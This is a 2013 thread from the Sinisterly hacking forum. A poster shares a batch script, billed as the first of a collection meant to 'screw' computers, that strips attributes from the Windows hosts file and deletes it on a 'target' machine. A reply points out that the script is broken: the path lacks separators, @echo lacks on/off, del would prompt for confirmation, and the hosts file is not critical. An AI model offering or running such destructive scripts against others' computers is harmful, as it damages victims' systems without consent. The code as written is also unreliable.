Sinisterly
Destroy internet applications (for the lolz) - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Coding (https://sinister.li/Forum-Coding--71)
+--- Thread: Destroy internet applications (for the lolz) (/Thread-Destroy-internet-applications-for-the-lolz)



Destroy internet applications (for the lolz) - Inori - 12-27-2013

So, this is my first thread Biggrin and to start it off, I thought I would start publishing my collection of batch and vbs programs (most screw the hell out of a computer) so here's the first one!

What it does:
1. finds the files it's looking for in the target's drivers
2. finds the hosts
3. deletes everything (muahaha :trollSmile

Code:
Code:
cls @echo off cd WINDOWSSYSTEM32DRIVERSETC attrib hosts -r -h del hosts
WARNING: DO NOT USE ON YOUR OWN COMPUTER!!!!!


RE: Destroy internet applications (for the lolz) - The Real Slim Shady - 12-27-2013

Im not convinced this will do anything. the hosts file is a useful file but to my knowledge it isnt a required file. the network stack should be able to function without it. By default the hosts file is unused - there is nothing critical in it.

And thats an odd looking directory. im a bit outdated on batch but dont you need to separate the directories. And wouldnt using a system variable to find the root directory be more cross compatible?

And i dont recall the hosts file being hidden or read only, so whats with the attrib command?

also, whats with @echo- doesnt it require an attribute such as on/off?

and doesnt the del take a full path? so why would you not just del %WinDir%\SYSTEM32\DRIVERS\ETC\hosts - And on top of that doesnt the del command by default prompt for confirmation of file deletion? i dont see any switches to disable this so a user would also have to confirm no?